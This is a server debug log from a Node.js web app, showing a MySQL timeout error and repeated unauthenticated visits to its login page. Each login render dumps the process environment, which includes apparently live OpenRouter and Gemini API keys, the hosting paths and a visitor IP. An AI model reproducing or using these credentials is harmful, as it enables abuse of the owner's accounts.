    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-14 10:58:47' as DATETIME)"
}
2026-04-14T16:20:15.900Z server-connect:router Serving templateView /
2026-04-14T16:20:15.901Z server-connect:app Executing action step identify
2026-04-14T16:20:15.901Z server-connect:app options: { provider: 'security' }
2026-04-14T16:20:15.902Z server-connect:auth No login cookie found
2026-04-14T16:20:15.902Z server-connect:output identity: false
2026-04-14T16:20:15.902Z server-connect:app Executing action step restrict
2026-04-14T16:20:15.902Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-14T16:20:15.902Z server-connect:output restrict: undefined
2026-04-14T17:32:37.488Z server-connect:router Serving templateView /
2026-04-14T17:32:37.489Z server-connect:app Executing action step identify
2026-04-14T17:32:37.489Z server-connect:app options: { provider: 'security' }
2026-04-14T17:32:37.489Z server-connect:auth No login cookie found
2026-04-14T17:32:37.489Z server-connect:output identity: false
2026-04-14T17:32:37.489Z server-connect:app Executing action step restrict
2026-04-14T17:32:37.489Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-14T17:32:37.489Z server-connect:output restrict: undefined
2026-04-14T17:32:38.495Z server-connect:router Serving templateView /login
2026-04-14T17:32:38.496Z server-connect:app Executing action step identify
2026-04-14T17:32:38.497Z server-connect:app options: { provider: 'security' }
2026-04-14T17:32:38.497Z server-connect:auth No login cookie found
2026-04-14T17:32:38.497Z server-connect:output identity: false
2026-04-14T17:32:38.497Z server-connect:router Render template layouts/authentication
2026-04-14T17:32:38.497Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    referer: 'https://www.google.com',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
    connection: 'Keep-Alive',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '91.227.114.145',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-15T17:32:38.495Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '91.227.114.145',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_REFERER: 'https://www.google.com',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
    HTTP_CONNECTION: 'Keep-Alive',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '91.227.114.145',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-14T17:32:38.670Z server-connect:router Serving templateView /login
2026-04-14T17:32:38.670Z server-connect:app Executing action step identify
2026-04-14T17:32:38.670Z server-connect:app options: { provider: 'security' }
2026-04-14T17:32:38.671Z server-connect:auth No login cookie found
2026-04-14T17:32:38.671Z server-connect:output identity: false
2026-04-14T17:32:38.671Z server-connect:router Render template layouts/authentication
2026-04-14T17:32:38.671Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    referer: 'https://www.google.com',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
    connection: 'Keep-Alive',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '91.227.114.145',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-15T17:32:38.670Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '91.227.114.145',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_REFERER: 'https://www.google.com',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
    HTTP_CONNECTION: 'Keep-Alive',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '91.227.114.145',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-14T17:32:39.346Z server-connect:router Serving templateView /login/
2026-04-14T17:32:39.347Z server-connect:app Executing action step identify
2026-04-14T17:32:39.347Z server-connect:app options: { provider: 'security' }
2026-04-14T17:32:39.347Z server-connect:auth No login cookie found
2026-04-14T17:32:39.347Z server-connect:output identity: false
2026-04-14T17:32:39.347Z server-connect:router Render template layouts/authentication
2026-04-14T17:32:39.348Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    referer: 'https://www.google.com',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
    connection: 'Keep-Alive',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '91.227.114.145',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-15T17:32:39.346Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '91.227.114.145',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_REFERER: 'https://www.google.com',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
    HTTP_CONNECTION: 'Keep-Alive',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '91.227.114.145',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-14T17:32:41.771Z server-connect:router Serving templateView /login
2026-04-14T17:32:41.771Z server-connect:app Executing action step identify
2026-04-14T17:32:41.771Z server-connect:app options: { provider: 'security' }
2026-04-14T17:32:41.771Z server-connect:auth No login cookie found
2026-04-14T17:32:41.771Z server-connect:output identity: false
2026-04-14T17:32:41.771Z server-connect:router Render template layouts/authentication
2026-04-14T17:32:41.771Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    referer: 'https://www.google.com',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
    connection: 'Keep-Alive',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '91.227.114.145',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-15T17:32:41.771Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '91.227.114.145',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_REFERER: 'https://www.google.com',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
    HTTP_CONNECTION: 'Keep-Alive',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '91.227.114.145',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-14T17:32:42.022Z server-connect:router Serving templateView /login
2026-04-14T17:32:42.023Z server-connect:app Executing action step identify
2026-04-14T17:32:42.023Z server-connect:app options: { provider: 'security' }
2026-04-14T17:32:42.023Z server-connect:auth No login cookie found
2026-04-14T17:32:42.023Z server-connect:output identity: false
2026-04-14T17:32:42.023Z server-connect:router Render template layouts/authentication
2026-04-14T17:32:42.023Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    referer: 'https://www.google.com',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
    connection: 'Keep-Alive',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '91.227.114.145',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-15T17:32:42.022Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '91.227.114.145',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_REFERER: 'https://www.google.com',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
    HTTP_CONNECTION: 'Keep-Alive',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '91.227.114.145',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-14T17:32:42.083Z server-connect:router Serving templateView /login/
2026-04-14T17:32:42.083Z server-connect:app Executing action step identify
2026-04-14T17:32:42.083Z server-connect:app options: { provider: 'security' }
2026-04-14T17:32:42.084Z server-connect:auth No login cookie found
2026-04-14T17:32:42.084Z server-connect:output identity: false
2026-04-14T17:32:42.084Z server-connect:router Render template layouts/authentication
2026-04-14T17:32:42.084Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    referer: 'https://www.google.com',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
    connection: 'Keep-Alive',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '91.227.114.145',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-15T17:32:42.083Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '91.227.114.145',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_REFERER: 'https://www.google.com',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
    HTTP_CONNECTION: 'Keep-Alive',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '91.227.114.145',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-14T18:04:47.829Z server-connect:router Serving templateView /
2026-04-14T18:04:47.829Z server-connect:app Executing action step identify
2026-04-14T18:04:47.829Z server-connect:app options: { provider: 'security' }
2026-04-14T18:04:47.830Z server-connect:auth No login cookie found
2026-04-14T18:04:47.830Z server-connect:output identity: false
2026-04-14T18:04:47.830Z server-connect:app Executing action step restrict
2026-04-14T18:04:47.830Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-14T18:04:47.830Z server-connect:output restrict: undefined
2026-04-14T18:04:47.840Z server-connect:router Serving templateView /login
2026-04-14T18:04:47.840Z server-connect:app Executing action step identify
2026-04-14T18:04:47.841Z server-connect:app options: { provider: 'security' }
2026-04-14T18:04:47.841Z server-connect:auth No login cookie found
2026-04-14T18:04:47.841Z server-connect:output identity: false
2026-04-14T18:04:47.841Z server-connect:router Render template layouts/authentication
2026-04-14T18:04:47.841Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    referer: 'https://www.google.com',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
    connection: 'Keep-Alive',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '91.227.114.145',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-15T18:04:47.840Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '91.227.114.145',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_REFERER: 'https://www.google.com',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
    HTTP_CONNECTION: 'Keep-Alive',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '91.227.114.145',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-14T18:04:47.927Z server-connect:router Serving templateView /login
2026-04-14T18:04:47.927Z server-connect:app Executing action step identify
2026-04-14T18:04:47.928Z server-connect:app options: { provider: 'security' }
2026-04-14T18:04:47.928Z server-connect:auth No login cookie found
2026-04-14T18:04:47.928Z server-connect:output identity: false
2026-04-14T18:04:47.928Z server-connect:router Render template layouts/authentication
2026-04-14T18:04:47.928Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
